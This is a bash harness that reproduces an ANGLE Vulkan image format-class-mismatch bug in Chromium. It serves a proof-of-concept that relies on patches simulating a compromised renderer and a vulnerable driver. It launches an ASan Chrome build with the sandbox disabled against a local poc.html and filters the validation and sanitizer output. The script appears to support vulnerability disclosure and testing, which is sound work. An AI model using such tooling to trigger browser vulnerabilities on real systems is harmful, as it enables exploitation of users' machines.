#!/bin/bash
# Reproduces the ANGLE VkImageImageSiblingVk format-class-mismatch bug.
#
# Prerequisites:
#   1. Apply chromium-changes.patch to the Chromium tree (renderer-side
#      "compromised renderer" injection - sends CreateSharedImage(kRGBA_4444)).
#   2. Apply angle-changes.patch to third_party/angle (observational fprintf
#      only - no behaviour change).
#   3. Apply swiftshader-changes.patch to third_party/swiftshader (driver
#      simulation: drops the optional COLOR_ATTACHMENT_BLEND bit for
#      VK_FORMAT_R4G4B4A4_UNORM_PACK16, matching the real-driver class the
#      vulnerability targets).
#   4. autoninja -C out/asan chrome
#
# Usage: ./run.sh /path/to/chromium/src/out/asan

set -e
OUT="${1:-/chromium/chromium/src/out/asan}"
HERE="$(cd "$(dirname "$0")" && pwd)"

python3 "$HERE/server.py" &
SRV=$!
trap "kill $SRV 2>/dev/null" EXIT
sleep 1

rm -rf /tmp/chrome-poc-profile

# VK_INSTANCE_LAYERS forces the Khronos validation layer onto ANGLE's
# VkInstance (created via the Vulkan loader) so the VUID violation is
# reported. VK_ICD_FILENAMES points the loader at SwiftShader.
VK_ICD_FILENAMES="$OUT/vk_swiftshader_icd.json" \
VK_LAYER_PATH="$OUT/angledata" \
VK_INSTANCE_LAYERS=VK_LAYER_KHRONOS_validation \
ASAN_OPTIONS="detect_odr_violation=0:detect_leaks=0:symbolize=1:handle_abort=1" \
timeout 50 "$OUT/chrome" \
  --no-sandbox \
  --headless=new \
  --no-first-run --no-default-browser-check \
  --user-data-dir=/tmp/chrome-poc-profile \
  --use-gl=angle --use-angle=swiftshader \
  --enable-features=Vulkan,VulkanFromANGLE,DefaultANGLEVulkan \
  --use-vulkan=swiftshader \
  --disable-vulkan-surface \
  --enable-logging=stderr \
  --enable-gpu --ignore-gpu-blocklist \
  --enable-unsafe-swiftshader \
  --disable-gpu-process-crash-limit \
  http://127.0.0.1:8080/poc.html 2>&1 | \
  grep -E "POC-|VUID|Validation|vkCreateImageView|CONSOLE|AddressSanitizer|heap-|SUMMARY"